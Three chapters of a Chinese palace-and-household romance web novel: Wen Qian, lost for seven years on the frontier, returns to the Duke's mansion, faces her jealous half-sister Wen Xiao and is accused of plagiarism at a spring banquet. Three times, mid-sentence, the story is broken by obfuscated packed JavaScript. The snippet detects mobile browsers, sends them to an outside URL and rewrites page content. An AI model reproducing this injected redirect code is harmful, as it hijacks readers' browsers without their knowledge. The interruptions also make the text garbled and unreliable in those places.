《负君心》 1. 回府 明辉十二年,二月初一,云京。 初春的晨阳洒落在定国公府朱红色琉璃瓦上,料峭春风吹过廊庑。映杏提着裙摆一路小跑,还未进荣瑞堂就先喊了起来,焦急的语气里透着欣喜。 “老夫人!老夫人!大小姐的马车已经停在门口了。” 荣瑞堂里焚着乌沉香,丝丝缕缕的香气弥漫在空气中。正是定国公府一干人等围着衣着华贵的老夫人王氏请晨安的时候。 听到这番话,在场众人不禁都变了一番脸色,或喜或忧。 老夫人听到这话,也顾不上斥责映杏的失礼,脸上泛起止不住的笑意。 “好、好……这么多年,浅浅总算是归家了。”说完,老夫人眼中糊上泪花。 七年前,定国公府长房大小姐闻浅在塞外陇烨走失。 这么些年来定国公府一直花费巨大人力财力寻找闻浅的下落,只是一直杳无音讯。直到十日前,才传回来好消息,此消息一传回到云京,立刻引起轩然大波。只是陇烨到云京路途遥远,紧赶慢赶直到今日方才顺利回到定国公府。 见老夫人如此激动,长房夫人薛清梨忙上前服侍,又是递上丝帕又是轻抚后背,柔声宽慰道:“大小姐没事就好,走失了这么些年,老夫人思念得紧我们也都是看在眼里。如今大小姐平安归来,也算了却了您一件心事。” 老夫人神色闪过一瞬的怔然,很快又收起来。她瞥了眼薛清梨:“既然浅浅的车驾都到门口了,那还不快请潇儿过来。” 定国公府还没有分家,一共有三房。家族庞大,枝叶众多。每月月初一次请晨安,三房夫人、姨娘以及诸位小姐、公子都要来荣瑞堂给老夫人请晨安。闻浅生母在闻浅生下不久后便撒手人寰,如今执掌中馈的薛清梨乃是长房闻鸿观的续弦,是闻潇的生身母亲,而并非闻浅的生身母亲。 闻潇前几日感了风寒身体抱恙,便央求着免了晨安礼。老夫人一向疼爱闻潇,自然是同意。只是因着闻浅回府,竟要求闻潇也硬撑着病弱的身子来迎接闻浅! 荣瑞堂仍是一团和气,细细的说话交谈声不时响起。但众人心里都跟明镜似的,仅仅老夫人此一句话,便足以看出时逾七年,闻浅依旧深得老夫人宠爱。 薛清梨容色不改,侧过身笑着吩咐丫鬟去把闻潇叫过来。 说话间,堂外便传来熙熙攘攘的人声,正是一众丫鬟仆从众星捧月般迎着闻浅大小姐入堂。 与堂外喧闹形成鲜明对比,堂内一时静默了起来,众人面面相觑,老夫人摩挲着佛珠。 几位小姐公子那也都是翘首以盼,但不约而同怀着看好戏和不屑一顾的心态。 七年前,闻浅还没走失的时候,那可叫一个名动云京。年纪小小就看得出来是个美人胚子,又琴棋书画样样精通,特别是那一双手啊,精巧得不行,格外擅长刺绣折纸。她不止是被定国公捧为掌上明珠,更是深得宫里皇上皇后青睐,不少贵族都上赶着想来与闻浅早早定下婚事。 但塞外风霜摧人,据说这闻浅大小姐是在盈春楼被找到的。盈春楼那是什么地方?上不得台面的风月之地,不在定国公府的这七年,闻浅哪里还是什么金枝玉叶养尊处优的大小姐,怕不是养成了一身的轻浮气!又道是女大十八变,这番磋磨下来,也不知这闻浅出落得是什么模样。 就算没有长残,那谈吐行止怕不是也上不得台面。何况如今府里已经有了一颗璀璨无比的明珠——闻潇,闻浅一旦回来要将风头夺过去,到时候薛清梨能咽得下这口气么? 再算算年纪,闻浅今年也十七岁了,回府没待上几天就又该张罗着婚姻嫁娶了。 几位快及笄的小姐互相交换了个眼神,掩唇讥笑起来。 门口婆子满脸撩起帘栊,示意杂人都留在门外。身后仅跟着丫鬟映杏,闻浅不紧不慢地绕过屏风。 全场的目光瞬间紧紧盯了过去,好奇期待与打量纷纷落在了少女身上。 只见闻浅身披一件月白色的斗篷,边缘镶着细密柔软的狐毛,里面正是袭翠青色云纹留仙裙,她那如墨般的长发被分成几股别着,几枚精致的珠花点缀其间,额前细碎的刘海恰到好处地修饰着她未施粉黛的精致小脸。 笼烟柳眉下是一双含情桃花眸,秀气的翘鼻下樱唇不点而红,当真是天生丽质难自弃。通身出尘的气质,不像打从塞外那龙荒朔漠回来的高门小姐,倒像自贝阙珠宫下凡的天上仙姝。 闻浅只施施然走近,脸上并无一丝一毫地怯意,倒是袖下双拳紧紧攥着。 众人默默无言,时间仿佛凝滞起来。 “好漂亮的姐姐!”有幼童登时就叫喊了起来,此话刚出就被姨娘匆匆忙忙地捂住嘴。 童言无忌,这话说得实在不错,闻浅在塞外待了七年,出落得倒是越发姝丽无双起来。饶是云京美人多,闻浅在其中也定能排到上乘,长得那叫一个人间难有的好容色。 “祖母金安。” 被这么多道视线打量着,闻浅也只落落大方地向老夫人行拜,说话声如碎玉落珠,清脆而又动听。 老夫人见了闻浅便忍不住捂着心口,她一把就将闻浅拉起来,示意她挨着自己坐下:“哎哟,心肝啊。” 说话间,泪水又从脸上落下来,老夫人抚摸着闻浅的手。 与闻浅那张漂亮绝伦的脸蛋截然不同,闻浅的手简直就是饱经沧桑。有不少裂痕疤迹不说,指腹上是层薄茧,触摸着粗糙不已,丝毫不像一位十七岁少女应有的手。 握着她的手,老夫人泪水止不住的流,在场众人被情形感染,或真或假都纷纷配合地落下涕泪来。 立在老夫人一旁的薛清梨皱着眉作出关切的模样,心里却在焦急数着时间。闻潇怎么过了这么久还没来? 闻浅倒是哭不出来,她只静静垂着眼,也不主动开口说话。 “浅浅,你这手……” “是在盈春楼做杂活做出来的。”闻浅轻描淡写道。 “那帮贱蹄子!”老夫人身边的老嬷嬷立刻张嘴骂道,“竟敢这么对待小姐!” 闻浅不说话。 “小姐这手,奴婢看着也心疼!”映杏开口便是哭腔。 映杏自幼服侍闻浅,与闻浅感情深厚,闻浅走失后,就被老夫人留在身边调教。如今闻浅回来了,自然又要去服侍闻浅。 老夫人携着闻浅的手:“吩咐下去,制些香膏给大小姐用着,再叫小厨房日日炖些银耳燕窝滋补。” “谢祖母关切。”听了老夫人如此关切,闻浅也只是淡淡一句感谢,不卑不亢。 与她明艳绝尘的容颜相对,经历七年尘世浮沉,闻浅的性子似乎总是淡淡的,波澜不兴,既无大喜也无大悲,仿佛对周遭一切都不甚在意。 握着闻浅的手,将闻浅细细打量一番,老夫人心满意足地点点头,旋即又叹了一口气。 薛清梨忙问道:“如今大小姐已平安归来,老祖宗又何必叹气伤怀呢?” “七年的时间,只怕是物是人非啊。”老夫人指着在场众人,“浅浅,你还认得他们吗?” 闻浅轻轻抬起眼,美眸流转过在场各人,摇摇头。 老夫人便将在场几位夫人和嫡出的小姐公子一一指与闻浅认识。 闻浅逐个拜见过,却都没放在心上。 又过了片刻功夫,二小姐闻潇才款款进了门,她今日穿了身淡粉的袄裙,娇俏的脸上丝毫没有半分迎接长姐该有的欢喜,反倒是满脸透着高傲之气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472526|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛清梨瞪了过去,但闻潇丝毫不在意。她走路的时候头上缠丝海棠花步摇晃悠着,映射出点点金光。 “祖母,潇儿来晚了,不曾迎接姐姐。”闻潇一如既往向着老夫人行礼,说话声音带着撒娇。她知道祖母最疼她了,定不会责怪她。 只是这一次,老夫人阴沉着脸,迟迟没有让她免礼。 闻潇维持着行礼的动作,有些僵硬,她抬起脸:“祖母……?” 众人皆屏气敛声起来,一句话都不敢吭。 默了半晌,老夫人摇摇头:“罢了罢了,还不快见过你浅浅姐姐,向她行个礼。” 听老夫人这么说,闻潇眼中闪过一瞬的错愕,她咬咬牙:“潇儿见过姐姐。” 老夫人竟然为了闻浅,竟然都不嗲她了。 “嗯。”闻浅淡淡道。 闻潇起身,示意丫鬟鸣鹭托着匣子递给闻浅:“这些年潇儿心里一直挂念着姐姐,这是潇儿给姐姐准备的礼物。” 鸣鹭打开匣子,里面装着的是一支金镶珍珠簪,做工精美无比。 这些年来,她一直享受着本属于闻浅的荣华富贵,过着众星捧月的生活,府里上下的阿谀奉承让她早已习惯了以大小姐的身份自居。如今闻浅回来了,她心中自然升起了严重的危机感。 但闻潇并没有太把闻浅放在眼里,她承认闻浅长得不错,可欠失了七年的礼乐教育,怕不是早就成为了一个空有美貌的草包! 闻潇微扬着下巴,神色里流露出高高在上的姿态,甚至带着一丝挑衅与不屑。 这支簪子躺在匣子里,出自云京名声最大的藏珍阁,仅此一支便要花费三百两银子。那细腻的纹路与精致的雕琢也无一不透露着能工巧匠登峰造极的精湛工艺。像闻浅待在塞外那种寒酸地方,定然是见不到这种好货的。 然而闻浅只瞥了一眼,就收回目光,对映杏道:“映杏,收下吧。” “你这是什么态度!”反倒是闻潇被闻浅不咸不淡的情绪激怒,“连句谢谢都不知道说吗?哼,也是,你在陇烨那种穷酸地方待久了,怕不是连好坏都分辨不清了。” 闻潇被宠得无法无天,又向来心直口快,想什么就说什么,她倨傲地看向闻浅,仿佛像在施舍一般。 “那多谢妹妹。”闻浅道,又重复了一遍,“谢谢。” 闻浅是真的无所谓这种口头的一时之快,心里对闻潇显而易见的挑衅也是真的无所谓。 薛清梨又瞪了一眼闻潇,示意女儿收敛一点。 然而见母亲都偏向着闻浅,闻潇跺跺脚:“祖母!” 其实闻潇的心思也很简单,她只是想试探在老夫人心里,她的地位有没有因为闻浅的到来而动摇。 “够了。”然而老夫人阴沉着脸,“吵吵闹闹的成何体统,既然身体不舒服那就回去好好休息,今日抄写女训一遍,晚膳前交给我过目。” 闻潇难以置信,但刚要开口就被亲娘要杀人的眼神吓得封住了嘴。 * 定国公府西侧书房。 有两位清俊公子正在廊下对弈,一位是长房嫡子闻峥,另一位则是当今东宫太子纪翀。 闻峥比闻浅年长四岁,和闻浅同是周氏所出。他已入朝任从五品大理正,日常晨安请礼可以免去。 “公子,大小姐已经到荣瑞堂了。” 闻峥一笑,执白子的手久久不落:“池容,你不去看看么?” 池容是纪翀的字。 几株晚梅将要拜谢,随着寒风的吹拂轻轻摇曳,用坚韧诠释着生命之美。 “我啊,就不去了吧。”墨睫掩着浅淡眸色,右眼角有一颗泪痣。纪翀微微侧头望向廊外,缓缓道。 “红梅仍在枝头啊。” 2. 嫌隙 落梅院位于定国公府西隅,较为清幽僻静,因院中栽了好几株红梅树而得名。 闻浅立在院门口,看着上方写着的匾额,微微眯起眼,回忆起了遥远如前世的曾经。这“落梅院”三个字,是老夫人起的名字,而后让兄长闻峥落墨写的楷书。 匾额已经略显陈旧,却仍旧不失端庄典雅。 “小姐,您不在府里这么些年,落梅院却年年都有修葺。”映杏跟在闻浅身侧入院,一边碎碎叨叨,“老夫人可是牵肠挂肚得很,常常惦念着您。怕您回来不熟悉,院里形制一如当年。” “祖母有心了。” 七年前映杏还是跟在闻浅身后伺候毛手毛脚的小丫鬟,如今经过老夫人的调教已经成了能独当一面的贴身丫鬟,说话做事都周全了不少。 闻浅不急不缓地走着,心里难免也有些感慨。七年前她还不满十岁,现在想想在定国公府的那些岁月倒像是前尘往事,仿若隔着重重迷雾,看不清也理不楚。 两人甫一踏入院碎石铺成的甬路,院门口等候已久的嬷嬷便扯开嗓通报:“小姐回院了!” 一干做事的嬷嬷丫鬟便放下了手中的活,尽数围了上来,前呼后拥迎着闻浅。 映杏拧眉,立在闻浅身侧:“咋咋呼呼的成何体统,从左往右都站好。” 数了数,老夫人安排在落梅院伺候闻浅的,加上映杏足足有七位。 寒风扑簌簌地吹过,红梅树轻轻摇曳。闻浅拢紧斗篷,听着映杏给自己一一介绍,内心毫无波澜。 “安排给小姐的二等丫鬟有四位,一等丫鬟便是奴婢一人,另外还有两位粗使嬷嬷。”映杏笑道,“都是老夫人拨来的,小姐尽可随意差遣。留在夫人那边也不过堪堪九人,老夫人对小姐的宠爱可见一斑啊。” 言讫,映杏又从怀里揣出一袋碎银子,一人三两分发了下去。映杏道:“这是老夫人给你们的打赏,你们留在大小姐身边好生伺候着,千万不能有所怠慢。” “是!” 初春的风氲着寒意,吹着是冰冷的,但众人脸上都挂着深深的喜悦。毕竟像普通的二等丫鬟,一个月的月钱也才一吊钱,这三年抵得上一年的活计了。 见赏赐都已分发下去,闻浅漂亮的眼扫过在场众人,摇摇头,和和气气开口道:“落梅院不大,人多倒显得拥挤,留下三位足矣,也免得铺张浪费。” 听了闻浅的话,映杏倒是怔愣住了。 闻浅随意指了一位粗使嬷嬷,又指了一位圆脸丫鬟:“就她们吧,其他人都不必留着。” 被指的正是张嬷嬷和映棠。 众人面面相觑,都没想到闻浅回来的第一件事竟是精简人手。要是换了其他的小姐,怕不是希望伺候的人越多越好,如此以彰显自己尊贵的身份。 映杏很快反应过来,笑着道:“既是小姐不喜欢,那跟老夫人说一声从名册上划掉便是,府里其他地方也缺人手呢。” 闻浅“嗯”了一声,两手拢在袖中,容色淡淡,透着股超凡脱俗的清冷宁静。 “外面冷,小姐您先进屋歇着,晚上去荣瑞堂用晚膳。”映杏道,“老夫人还给您安排了小厨房,想吃什么吩咐小厨房去做便是了。” * 芳菲院,闻潇气呼呼地回了自己的卧房。 卧房里点了地暖,闻潇现在倒嫌热得慌,解了斗篷往地上一摔,就到圈椅上坐着。鸣鹭便匆忙弯腰捡起斗篷安置起来,一边向另一个丫鬟递了眼色。 丫鬟会意,给闻潇斟上茶来,随后又端上一盘糖渍杏干。往日里,这是闻潇最喜欢的点心。 闻潇瞪了一眼,没好气地说:“今天点心怎么又是杏干!” 听了这话,丫鬟猜不透闻潇心意,也不敢端上桌,又不敢转身走,只好战战兢兢地端着盘子半跪着。 “我不想吃。”闻潇把在荣瑞堂受的气都撒在了无辜的丫鬟身上,她愤愤地把茶水泼到丫鬟身上,“还不快滚!” 鸣鹭走过来拧着丫鬟的耳朵:“你出去。” 丫鬟衣服都被温热的茶水湮湿了,却不敢多说一句话,垂眸含泪退了出去。 鸣鹭知道闻潇在为什么生气,细声软语地劝道:“小姐莫要为大小姐的事生气了,气坏身子可就不好了。” “不生气?你叫我怎么不生气?这么多年祖母从来没有对我说过一句重话,今天那贱人一回府就让我给她行礼,还给我脸色看。”闻潇恨恨道,“我听母亲说,落梅院那边安排了七个丫鬟是不是?” “是。”鸣鹭道,“府里嫡出小姐有两个丫鬟,庶出小姐有一个丫鬟,这是历来的规矩。老夫人是担心大小姐不适应,才临时多安排了些人手。” “不适应那就安安心心待在陇烨多好,都已经过了及笄的年纪还回来云京作甚?芳菲院里留下的倒都是些粗笨的蠢货。”闻潇道。 “小姐,话可千万不能这么说。”想起薛清梨的嘱托,鸣鹭急急道,“您说与奴婢听倒也无妨,万一传出去了您落得个刻薄嫡姐的名声就不好了。您和大小姐虽然不是一个娘生的,但您更要对大小姐恭敬些。” 鸣鹭是夫人薛清梨安排的丫鬟,比闻潇年长四岁,闻潇对鸣鹭一直还算客气。 闻潇不耐烦道:“还用你来提点?我自然省得!” 鸣鹭好声好气劝道:“依奴婢看,小姐与其担心老夫人宠爱多寡,不如先想着近在眼前的迎春宴。” 迎春宴在宫里举办,安排在每年的二月十五。届时不仅宫里的公主、皇子会参加,还会邀请京中小姐、公子。既是解闷交友,更能展示才艺。去年迎春宴时,闻浅就凭一曲琴曲《春绽桃李》大出风头。 房间里静若闻针,闻潇指节不安地敲着桌子:“今年的迎春宴,太子殿下会来吗?” 去年迎春宴的时候,太子纪翀正在永州处理政务,自然是没来的。今年太子留在云京,但要不要来参加迎春宴,显然鸣鹭一个小小丫鬟是不会知道的。 今日听说太子殿下来府里寻嫡兄下棋了,闻潇今日称病不想给祖母请安就是想去寻太子,没想到在嫡兄书房处吃了个闭门羹。 分明心上人近在咫尺,可她却不能靠近半步。 想起那张玉树临风的面庞,闻潇心思荡漾:“去年我演奏得那般好,只是没被殿下听到,可惜可惜。” 鸣鹭笑道:“若是有缘,日后自然是常能听得。” “那你觉得我与殿下是有缘还是无缘?” “身无彩凤双飞翼,心有灵犀一点通。” 闻潇起身,这才后知后觉道:“鸣鹭,你说得对。祖母对姐姐得宠爱只是一时的,毕竟我才是和祖母相处了这么些年的嫡亲孙女。但过几日的迎春宴才是该着急的,我作为妹妹,自然不能刻薄了姐姐去。” 见闻潇会了薛夫人的良苦用心,鸣鹭道:“是啊,陇烨不毛之地,想来大小姐不通诗书难免会丢人现眼,您作为妹妹自然能艳压过去。到时候谁是明珠,谁是鱼目,自会由人心来定夺。” 这次的迎春宴由怜妃主持,怜妃又是薛清梨旧识。薛清梨自然有手段提前打探出今日迎春宴的主题是什么,鸣鹭凑过去在闻潇身边耳语了一番,让闻潇好生准备。 * 闻浅自回了定国公府,不肯轻易走动,只一直待在落梅院里。国公爷和长房闻鸿观还在塞外争功名,大概还得再过两月才得回来。二房和三房平时见与不见都无妨,夫人薛清梨那里更是好说话,只频频送来些补品首饰。老夫人怜惜闻浅乍回京城,怕孙女不大适应,便免了闻浅日常请安。 如此一来,闻浅便更是不肯出落梅院了。反正落梅院有小厨房候着,想吃什么也不必去与其他小姐公子挤着。 一晃十四日过去了,期间也就闻峥来探望过三回,老夫人派丫鬟来问话过四回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472527|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其他人都未曾来落梅院拜访过。闻浅竟是连府中人口构成都不甚清楚。 晚间用过晚膳,闻浅便坐到书桌前。房间里只留映杏一人伺候。 昏黄的烛光洒在雕花桌案上,闻浅铺开宣纸,吩咐映杏道:“映杏,你替我磨墨吧。” 映杏便挽起袖子,身姿微微前倾握住墨锭,一圈圈研磨着。 墨香渐渐在空气中弥散开来。随着笔尖的起落,娟秀的字迹在宣纸上显现。 写得正是一首《菩萨蛮》。 映杏跟在老夫人身边,倒也识字,看着这首词颇为讶异,纠结一番还是没忍住问道:“小姐,恕奴婢多言,您自回府就一直在写这首词了,每晚都不曾落下,这首词可是有什么深意么?” 闻浅柳眉微蹙,几缕发丝垂在她白净的颊旁,却未能掩去她眸中的愁思。 “没什么深意,只是位故人常常吟咏。”闻浅平静道,“只是如今我在云京,他却不知在何处,是否安好。” “原来如此。”映杏笑道,“怕是小姐在陇烨那边认识的好友吧?若小姐思念得紧,大可派人把那位好友一同接到国公府里,想来老夫人这么疼小姐,一定会答应的。” 闻浅摇摇头,换了张新的宣纸,固执地又开始书写。 映杏道:“奴婢今日路过花园,听见二房、三房那边几个小姐在议论您。说您空有美貌,其他处处都不如二小姐呢。” 映杏愤愤不平,研磨的手都加了不少力道。不像长房只有薛清梨一位夫人,二房、三方那边纳了不少姨娘,膝下庶子庶女不少,人多难免口杂。 闻浅道:“人不知而不愠,她们不了解我,那便由她们议论。” 映杏道:“小姐,您怎么能这么说呢?明日便是迎春宴了,您真的不准备准备出出风头吗?奴婢记得小姐弹琴弹得是最好的,就连圣上都夸赞过。” 闻浅握着笔,看向映杏道:“没什么好出风头的,我并不在意旁人是如何看待我的,我只想从心所欲。” 见自家小姐这般淡泊,映杏便也不再相劝。 * 二月十五,阴了好几日的天难得放了晴,绸缎般的日光铺落下来,正是赏花迎春的好日子。 迎春宴定在了御花园,精巧的亭台楼阁间绿意葳蕤,繁花已经开了不少。 闻浅是和府里几位嫡女一道来的。她们自幼京中生长,各自有各自的闺中好友,只闻浅一人落了单。闻浅倒也不介意,拣了角落边的位置便坐下来。 她今日穿了身翡霞罗裙,素净的打扮,头上甚至仅仅戴了一支金镶珍珠簪——正是闻潇前不久送她的那支。 若不是祖母执意让她多出去走动走动交些朋友,闻浅本是不想来的。不过既然来了,那就待着便是。面前描金绘彩的葵口盘里,盛着玫瑰糕。色泽粉嫩如霞,闻浅择起一块,慢条斯理地品尝着。 微风拂过,几瓣花落在少女肩头。她却浑然不觉,依旧沉浸在自己的世界里。一切美好得仿若画卷。 映杏采了些桃花和杏花回来,便看见自家小姐端坐在石凳上。她不觉放缓了脚步,多欣赏一会这美人画卷。 “小姐,我采花回来了。”映杏笑着把采来的花朵放在闻浅面前,“小姐手巧,编些花环打发时间是再合适不过的。” “辛苦你。”闻浅道,听见不远处不时传来喝彩声,便问,“那边一簇人围着在做什么?这般热闹?” 映杏解释:“这迎春宴啊,要的就是热闹。去年安排了才艺展示,二小姐凭一曲琴曲便赢下众人叫好。听说今年是吟诗呢。” 与那边笑语喧哗、珠翠环绕相比,闻浅一个人在这编着花环倒显得更加冷冷清清,显得格外不合群。 这时,闻潇身边的丫鬟鸣鹭却走过来,对着闻浅道:“大小姐,二小姐邀请你过去坐坐。” 恭敬的语气,带着命令的口吻。 3. 风头 “既如此,小姐你就过去吧。”映杏可惜自家小姐这般好颜色,竟也没人注意到,便也开口劝道,“据说今年的迎春宴,太子殿下也会来瞧一眼。难怪今年似乎格外热闹,要是能入了太子的眼,那是再好不过的了。” 闻浅别的不知道,但太子还是认得的。 矜贵非凡,深得圣上倚重。 这位年轻的储君名叫纪翀,乃是中宫皇后所出,当今圣上唯一的嫡子。天资聪颖,自幼便崭露非凡的政治才能,博闻广记却又不是纸上谈兵之辈,少时就对行军破敌有独特见解,竟能决胜千里之外。 传闻六年前,太子十五岁时,于长乐亭与圣上对弈。是时圣上正头痛于西北边疆冉氓叛乱,随口问太子有何见解。 没想到这位年幼的太子脱口而出的战术竟与圣上的想法不谋而合。圣上龙心大悦,立刻手书圣谕,立刻安排传令兵去边疆让陈珉将军以太子策行动,果然顺利平定了叛乱。 “原来如此。”闻浅不感兴趣,继续编着自己的花环。 鸣鹭只当闻浅自知无拿得出手的才艺而不敢去,冷笑道:“太子殿下欣赏的素来是些阳春白雪,可不会将粗鄙不入流的东西放在眼里,更不是人人都能入得了眼的。” 没想到闻浅手里的动作一顿,放下花环,起身整理衣裙:“既然是妹妹盛情邀请,那我便也凑凑热闹去就是。” 闻浅向来不屑争辩什么,但也不怕什么。她只是随意,但若真嚣张挑衅到面前,她也不是任人拿捏的柿子。 * 闻浅到的时候,闻潇正挥毫写下词句的最后一句。 她写得是一首《菩萨蛮》,虽比不上翰林院文学大家,但胜在即兴原创且颇有灵气,顿时把场上其他闺秀所作都艳压了下去。 “莺语唤春归,燕舞催绿肥。”闻潇洋洋得意地念出最后一句,看向众人,“怎么样?” “好!”带头鼓掌的是礼部尚书家的嫡子李琮化,他爱慕闻潇已久。 众人更是纷纷鼓起掌来。 最鲜花着锦、烈火烹油的得意时刻,闻潇也没忘了自己的姐姐。尽管闻浅已经站在一旁好一会了。 闻潇偏偏要选自己最出风头的时候点她:“姐姐,你也在这,我听说塞外朔风寒霜,与云京风景很是不一样,不如你也来作一首词如何?” 众人这才顺着闻潇的视线望过去,只见是一个脸生的碧衣美人。想来便是那在塞外待了七年才回来的定国公府大小姐了。 “这就是闻二小姐的姐姐么?没想到还能回来。” “啧,听说她是在塞外一家歌舞楼里养大的,真是造化弄人。” “歌舞楼?那不是风花雪月之地么?在那待了那么久还装什么清高。” “你小声点,莫要被本人听了去。” 一时间,众人心思纷杂,窃窃私语着。 闻潇傲得很,料定了自己这个草包姐姐会拒绝:“怎么样,姐姐?不过你若实在做不出,妹妹也不勉强。” 京中最不缺的就是美人,饶是闻浅长得再好看又怎么样,没了内里撑底,还不是要低自己一头? 听了闻潇的话,映杏倒是忍不住乐了。这不歪打正着?自家小姐前几日可是天天在房间里写诗,只可惜自家小姐为人这般恬淡,大概是要推辞的。 “二姐姐,你就不要为难大姐姐了。”二房家的闻洛捏着团扇扑哧一笑,奚落道,“大姐姐在盈春楼待了那么久,想必诗书不擅长,反倒是歌舞擅长。不如大姐姐你来给我们唱个曲儿吧。” 闻浅看着闻潇作的《菩萨蛮》,就想起了那位故人,缓缓开口道:“好啊。” 他常常唱《菩萨蛮》给她听。 喜欢他,所以闻浅应了下来。她的小心思很复杂,对他的思念、爱慕与景仰交缠在一起。他那么好的人,不该淹没在西北的风雪里。 闻潇一愣,没料到闻浅会应下来。但她很快收敛神色,抿着嘴把紫毫笔递给闻浅。 坐在北侧主位的盛装女子正是怜妃,她拨弄着护甲。 立在怜妃身旁的主持女官本想知会闻浅一声作诗的规则,却被怜妃叫住。 怜妃:“不必去告诉她规则,她养在僻野之地多年,想来肚子里也没什么墨水。” * 其实,著文写诗若是没有命题,任凭信马由缰,反而是最难作的。不过左右闻浅想法就是跟着闻潇作一首《菩萨蛮》,也无需命题。 闻浅不慌不忙地走到长案前,撩起衣袖,挥毫而作。 十分得心应手的,闻浅就默写了下来。 “人人尽说江南好,游人只合江南老。春水碧于天,画船听雨眠。”写完后,闻潇就迫不及待地凑过来念道,“啧啧啧,这字写得……” 不得不承认,字如其人,闻浅的字仙气雅致,称得上很好了。 闻潇看了闻浅一眼,似乎没想到她竟还能写这么一手好字,只好从词的内容出发:“这词写得……” 看来看去,这词写得实在是绝佳。闻潇很不甘心,这十几天,天天在卧房里写词练字,为的就是攒着劲想压闻浅一头。她只好脸色难看地开始鸡蛋里挑骨头:“你这词,写得莫不是江南那边的风景人情?只是你在塞外长大,哪里会知道江南?文字最重要的是表情达意,若你是凌空蹈虚、胡编乱造而写,写得不过都是些空话。” 闻浅道:“妹妹有所不知,陇烨有个别称,叫做塞上江南,那儿春天的时候,坐画船是再舒心不过了。” 眼见众人都开始捧闻浅的场,闻潇有些着急。 还是闻洛机灵,毫不客气地开口质问:“你这首词又不是原创,写得好有你什么事?” “这是前朝诗人韦庄的词,你这么明目张胆地照搬照抄,是以为我们都愚笨,看不出来吗?”一道尖细娇俏的女声传来,正是宫里六公主,纪云照。 纪云照拖着樱粉裙摆走来,她步子快,怜妃娘娘和主持女官跟在她后面。 纪云照乃是怜妃所出,生得花容月貌,被圣上视为掌上明珠。因着怜妃和薛清梨关系亲近,纪云照和闻潇、闻洛也是自幼长大,是好友。 主持女官这才开口道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13472528|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻大小姐,迎春宴有个不成文的规矩,所献才艺必须是原创才行。” 迎春宴近几年才兴起,闻浅没在塞外走失的时候还未有过。如今闻浅回来了,倒还是第一次参加这种宴会,尚且没有人跟闻浅讲过规则。 见纪云照向着自己说话,闻潇一喜,跟着指责起自己的姐姐来:“姐姐,你想出风头,也不能这样啊。” 映杏护着自家小姐:“那为何不提前跟大小姐说呢?大小姐不知道,才……” 纪云照打断:“不知道就是借口了吗?本公主最讨厌的就是为沽名钓誉而剽窃他作之人了。” “罢了罢了,今儿好好的迎春宴。”怜妃主动打圆场,“既然浅浅不知道,那就当不知道吧,剥去获奖资格也就罢了。依本宫看,本次迎春宴所作的若干词作,还是潇儿最佳,你们觉得呢?” 这话看着周全,顾及了闻浅体面,实则是把闻浅剽窃他人之作为自己沽名钓誉的行为给安实了。 但众人当然没有什么意见。 怜妃便从主持女官手里接过一支花魂流苏步摇,亲手戴在闻潇头上,夸赞道:“不错,潇儿生得愈发好看了,步摇配美人是在合适不过的。” 见怜妃这么说,其他人更是配合起来,纷纷夸赞起闻潇。一时闻潇如众星所捧的明月般,而闻浅被冷落。 闻潇自然高兴无比,但她想要自己此刻的光芒耀眼被太子殿下看见,是以还不满足。 闻浅倒浑不在意,还想回去继续编自己的花环。 偏偏怜妃叫住了闻浅,叫她到自己身边来坐。 怜妃娘娘在此,众人也不似方才百无禁忌了,皆规规矩矩地坐在自己的位置上。 怜妃刚拉住闻浅的手便一僵硬,她低着头看向闻浅受伤累累的双手,颇有些难以置信:“浅浅,你手怎会操劳至此?在塞外当真是让你受苦了。” 闻浅并没有因为刚刚的事而对怜妃有什么意见,听见怜妃的关切只当是长辈对小辈的客套:“谢娘娘关切,自回府后,祖母便叫人给臣女调理,相信不久便会好起来的。” “那样便是最好。”怜妃看着闻浅姝丽的脸庞,感叹道,“浅浅真是长成大姑娘了。本宫记得,小的时候你来永和宫玩,还缠着要本宫抱呢。” 闻浅莞尔一笑,嘴角边陷下去两个梨涡,道:“小时候无法无天惯了,不懂事。” “方才赏了你二妹妹一根步摇,倒也该赏你些物品。你在塞外受了不少苦,要再多再好的补偿都是应当的。”怜妃话说得好听,笑意却始终不达眼底,“浅浅,你想要什么补偿?” 周遭寂静下来,只剩下叽叽喳喳的鸟鸣声。 众人都以为闻浅会推辞,或者随便要个小赏赐。毕竟最受宠的怜妃娘娘给的赏赐,那是抬举。但也不是人人都受得起抬举。 闻浅环视一圈,伸手遥遥一指,毫不犹豫道:“我要他。” 说话的语气竟毫不客气。 众人顺着闻浅所指的方向望去,却皆是一愣,反应过来后纷纷下拜行礼。 “太子殿下千岁。” 4. 像他 